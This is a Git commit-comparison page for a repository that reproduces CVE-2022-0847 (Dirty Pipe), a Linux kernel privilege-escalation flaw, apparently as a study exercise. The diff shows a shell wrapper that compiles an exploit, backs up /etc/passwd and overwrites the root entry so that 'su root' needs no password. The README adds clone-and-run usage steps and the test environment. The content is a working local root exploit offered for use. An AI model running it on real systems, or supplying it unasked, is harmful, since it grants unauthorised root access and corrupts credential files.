Compare commits

...

10 Commits

Author SHA1 Message Date
r1is
ef8c8035ff Update README.md 2023-02-02 10:17:30 +08:00
r1is
11c5b5379b Update README.md 2023-01-11 16:25:46 +08:00
imfiver
f49084994c backup passwd file 2022-03-09 16:40:29 +08:00
imfiver
0210e5c95f Update README.md 2022-03-08 03:25:58 +08:00
imfiver
ab16f2db1d Update README.md 2022-03-08 03:24:01 +08:00
imfiver
29fbcf70c7 Update Dirty-Pipe.sh 2022-03-08 03:20:35 +08:00
imfiver
ab55a9263d CVE-2022-0847 复现截图 2022-03-08 03:03:15 +08:00
imfiver
1b2d5d55da Update README.md 2022-03-08 02:49:49 +08:00
imfiver
55ab59a6e4 Update README.md 2022-03-08 02:49:19 +08:00
imfiver
09c86e6502 Update README.md 2022-03-08 02:46:59 +08:00
2 changed files with 27 additions and 7 deletions

View File

@@ -158,14 +158,22 @@ int main(int argc, char **argv)
}
EOF
gcc exp.c -o exp
gcc exp.c -o exp -std=c99
# 备份密码文件
rm -f /tmp/passwd
cp /etc/passwd /tmp/passwd
passwd_tmp=$(cat /etc/passwd|head)
./exp /etc/passwd 1 "${passwd_tmp/root:x/oot:}"
if [ -f "/tmp/passwd" ];then
echo "/etc/passwd已备份到/tmp/passwd"
passwd_tmp=$(cat /etc/passwd|head)
./exp /etc/passwd 1 "${passwd_tmp/root:x/oot:}"
echo -e "\n# 恢复原来的密码\nrm -rf /etc/passwd\nmv /tmp/passwd /etc/passwd"
echo -e "\n# 恢复原来的密码\nrm -rf /etc/passwd\nmv /tmp/passwd /etc/passwd"
# 现在可以无需密码切换到root账号
su root
else
echo "/etc/passwd未备份到/tmp/passwd"
exit 1
fi
# 现在可以无需密码切换到root账号
su root

View File

@@ -1,6 +1,13 @@
# CVE-2022-0847
CVE-2022-0847简单复现
披露老哥原文地址:`https://dirtypipe.cm4all.com/`
## 复现环境
```bash
Linux kali 5.10.0-kali7-amd64 #1 SMP Debian 5.10.28-1kali1 (2021-04-12) x86_64 GNU/Linux
```
## 依赖
```bash
@@ -8,6 +15,11 @@ gcc
```
## 使用步骤
```bash
git clone https://github.com/imfiver/CVE-2022-0847.git
cd CVE-2022-0847
chmod +x Dirty-Pipe.sh
bash Dirty-Pipe.sh
```
<img src="https://user-images.githubusercontent.com/21257485/157100477-ec68c9a8-44c1-4dd4-ac4d-f70a08597359.png" style="zoom:30%" />